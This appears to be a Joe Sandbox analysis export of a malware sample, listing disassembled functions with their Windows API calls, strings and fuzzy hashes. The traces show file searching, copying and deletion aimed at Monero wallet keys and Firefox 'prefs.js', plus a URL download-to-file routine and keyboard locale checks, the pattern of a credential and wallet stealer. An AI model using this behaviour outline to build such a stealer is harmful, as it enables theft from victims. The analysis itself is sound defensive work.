Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 7b60d65b0b55b0fd23bce2b46a2c0d124430431c1c8acfa2360cec4b1cf338bf
Instruction ID: 2688c86473036fd076ec2344e817b274ddfdeb48d9623d68f7b80c211f20bd6e
Opcode Fuzzy Hash: 7b60d65b0b55b0fd23bce2b46a2c0d124430431c1c8acfa2360cec4b1cf338bf
Instruction Fuzzy Hash: 876176B5940218ABDB20EBA4ED45FEE737CFB49700F044598F60996181EB35EB85CF91

Function 00A13EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00A13EC3
FindFirstFileA.KERNEL32(?,?), ref: 00A13EDA
StrCmpCA.SHLWAPI(?,00A20FAC), ref: 00A13F08
StrCmpCA.SHLWAPI(?,00A20FB0), ref: 00A13F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00A1406C
FindClose.KERNEL32(000000FF), ref: 00A14081

Strings

%s\%s, xrefs: 00A13EB7

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: b1fecb53ad8a8c1415d7040c3b78bdd3fced2a87f2ddf847ba48da4b1b613016
Instruction ID: bf21431ea34c469667c0859b42e4e1d142d977b32375224432630c3c4747cd60
Opcode Fuzzy Hash: b1fecb53ad8a8c1415d7040c3b78bdd3fced2a87f2ddf847ba48da4b1b613016
Instruction Fuzzy Hash: 4A5165B6940218ABCB24EBB4DD85FEE737CFB58300F004598B65996081EB75EB85CF91

Function 00A0F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A1A740: lstrcpy.KERNEL32(00A20E17,00000000), ref: 00A1A788

Part of subcall function 00A1A920: lstrcpy.KERNEL32(00000000,?), ref: 00A1A972
Part of subcall function 00A1A920: lstrcat.KERNEL32(00000000), ref: 00A1A982

Part of subcall function 00A1A9B0: lstrlen.KERNEL32(?,010B8F58,?,\Monero\wallet.keys,00A20E17), ref: 00A1A9C5
Part of subcall function 00A1A9B0: lstrcpy.KERNEL32(00000000), ref: 00A1AA04
Part of subcall function 00A1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A1AA12

Part of subcall function 00A1A8A0: lstrcpy.KERNEL32(?,00A20E17), ref: 00A1A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00A215B8,00A20D96), ref: 00A0F71E
StrCmpCA.SHLWAPI(?,00A215BC), ref: 00A0F76F
StrCmpCA.SHLWAPI(?,00A215C0), ref: 00A0F785
FindNextFileA.KERNELBASE(000000FF,?), ref: 00A0FAB1
FindClose.KERNEL32(000000FF), ref: 00A0FAC3

Strings

prefs.js, xrefs: 00A0F812

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 9dcf10791a45005239b9f6ec06379fcfd6a110de8b7b11c47a82d34b3e6fa0f4
Instruction ID: 9fc22a30251fc2b0e9e1a9be1d48724a53d32ba4ecc91696fc4d25e05268d7a7
Opcode Fuzzy Hash: 9dcf10791a45005239b9f6ec06379fcfd6a110de8b7b11c47a82d34b3e6fa0f4
Instruction Fuzzy Hash: 91B155759011189FDB24FF64DE95FED7379AF64310F4085A8A40A96181EF306B8ACF92

Function 00A016D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A1A740: lstrcpy.KERNEL32(00A20E17,00000000), ref: 00A1A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00A2510C,?,?,?,00A251B4,?,?,00000000,?,00000000), ref: 00A01923
StrCmpCA.SHLWAPI(?,00A2525C), ref: 00A01973
StrCmpCA.SHLWAPI(?,00A25304), ref: 00A01989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00A01D40
DeleteFileA.KERNEL32(00000000), ref: 00A01DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00A01E20
FindClose.KERNEL32(000000FF), ref: 00A01E32

Part of subcall function 00A1A920: lstrcpy.KERNEL32(00000000,?), ref: 00A1A972
Part of subcall function 00A1A920: lstrcat.KERNEL32(00000000), ref: 00A1A982

Part of subcall function 00A1A9B0: lstrlen.KERNEL32(?,010B8F58,?,\Monero\wallet.keys,00A20E17), ref: 00A1A9C5
Part of subcall function 00A1A9B0: lstrcpy.KERNEL32(00000000), ref: 00A1AA04
Part of subcall function 00A1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A1AA12

Part of subcall function 00A1A8A0: lstrcpy.KERNEL32(?,00A20E17), ref: 00A1A905

Strings

\*.*, xrefs: 00A017F1

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: f8af486be67218f07701dec6ba072bc9fcfb48cddd5e0a446a7e0443cc4cb0ca
Instruction ID: 8dd8fc8a7861cf58a78995ae625c5cf4834ba6bb5a9698e36192190c0a4182b3
Opcode Fuzzy Hash: f8af486be67218f07701dec6ba072bc9fcfb48cddd5e0a446a7e0443cc4cb0ca
Instruction Fuzzy Hash: CD121075911118ABDB19FB60DE96EEE7378AF64310F4045A9B10A62091EF306FCACF91

Function 00A0DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A1A740: lstrcpy.KERNEL32(00A20E17,00000000), ref: 00A1A788

Part of subcall function 00A1A920: lstrcpy.KERNEL32(00000000,?), ref: 00A1A972
Part of subcall function 00A1A920: lstrcat.KERNEL32(00000000), ref: 00A1A982

Part of subcall function 00A1A9B0: lstrlen.KERNEL32(?,010B8F58,?,\Monero\wallet.keys,00A20E17), ref: 00A1A9C5
Part of subcall function 00A1A9B0: lstrcpy.KERNEL32(00000000), ref: 00A1AA04
Part of subcall function 00A1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A1AA12

Part of subcall function 00A1A8A0: lstrcpy.KERNEL32(?,00A20E17), ref: 00A1A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00A214B0,00A20C2A), ref: 00A0DAEB
StrCmpCA.SHLWAPI(?,00A214B4), ref: 00A0DB33
StrCmpCA.SHLWAPI(?,00A214B8), ref: 00A0DB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 00A0DDCC
FindClose.KERNEL32(000000FF), ref: 00A0DDDE

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: af1a009bf3bcea372206c4e701eca3ec9f7f1e0ad4c2c6363f66c8136ef03ba9
Instruction ID: 1a72d6355e718195aad80896587d59c0d2b96cdc0cc633fc6146a69eab34c8a5
Opcode Fuzzy Hash: af1a009bf3bcea372206c4e701eca3ec9f7f1e0ad4c2c6363f66c8136ef03ba9
Instruction Fuzzy Hash: 2F9148769001089BCB14FBB0EE56EED737DAF94310F448668F90A961C1EE349B59CB92

Function 00A060A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A1A7E6

Part of subcall function 00A047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00A04839
Part of subcall function 00A047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00A04849

InternetOpenA.WININET(00A20DF7,00000001,00000000,00000000,00000000), ref: 00A0610F
StrCmpCA.SHLWAPI(?,010BE8C8), ref: 00A06147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00A0618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00A061B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00A061DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00A0620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00A06249
InternetCloseHandle.WININET(?), ref: 00A06253
InternetCloseHandle.WININET(00000000), ref: 00A06260

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 89214fac4526e30eff6734e491dd75f2a8a29e039c34c67f8f37c567e3a3360f
Instruction ID: 5ae9a8340ced797ba6b06faece696e55cb3c3fff3b0b4d60db3bf81055d861a1
Opcode Fuzzy Hash: 89214fac4526e30eff6734e491dd75f2a8a29e039c34c67f8f37c567e3a3360f
Instruction Fuzzy Hash: 2B5190B5A4021CABDB20DF60DD49BEE77B8FB08705F108198F605A71C0DB746A89CF95

Function 00A17B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A1A740: lstrcpy.KERNEL32(00A20E17,00000000), ref: 00A1A788

GetKeyboardLayoutList.USER32(00000000,00000000,00A205AF), ref: 00A17BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00A17BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00A17C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00A17C62
LocalFree.KERNEL32(00000000), ref: 00A17D22

Strings

/ , xrefs: 00A17C7F

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: a10d359e55c99ed33d6aac3b72122405f31da075e047cd9f3134dab19ae2523e
Instruction ID: 2b87fc0554212197dcc1997cc9068862c105f67def3b2f0ca781476790ad8607
Opcode Fuzzy Hash: a10d359e55c99ed33d6aac3b72122405f31da075e047cd9f3134dab19ae2523e
Instruction Fuzzy Hash: 60413C71941218ABDB24DB94DD99FEEB378FF54710F204199E00AA6191DB342FC6CFA1

Function 00A0E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A1A740: lstrcpy.KERNEL32(00A20E17,00000000), ref: 00A1A788

Part of subcall function 00A1A920: lstrcpy.KERNEL32(00000000,?), ref: 00A1A972
Part of subcall function 00A1A920: lstrcat.KERNEL32(00000000), ref: 00A1A982

Part of subcall function 00A1A9B0: lstrlen.KERNEL32(?,010B8F58,?,\Monero\wallet.keys,00A20E17), ref: 00A1A9C5
Part of subcall function 00A1A9B0: lstrcpy.KERNEL32(00000000), ref: 00A1AA04
Part of subcall function 00A1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A1AA12

Part of subcall function 00A1A8A0: lstrcpy.KERNEL32(?,00A20E17), ref: 00A1A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00A20D73), ref: 00A0E4A2
StrCmpCA.SHLWAPI(?,00A214F8), ref: 00A0E4F2
StrCmpCA.SHLWAPI(?,00A214FC), ref: 00A0E508
FindNextFileA.KERNEL32(000000FF,?), ref: 00A0EBDF

Strings

\*.*, xrefs: 00A0E44D

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
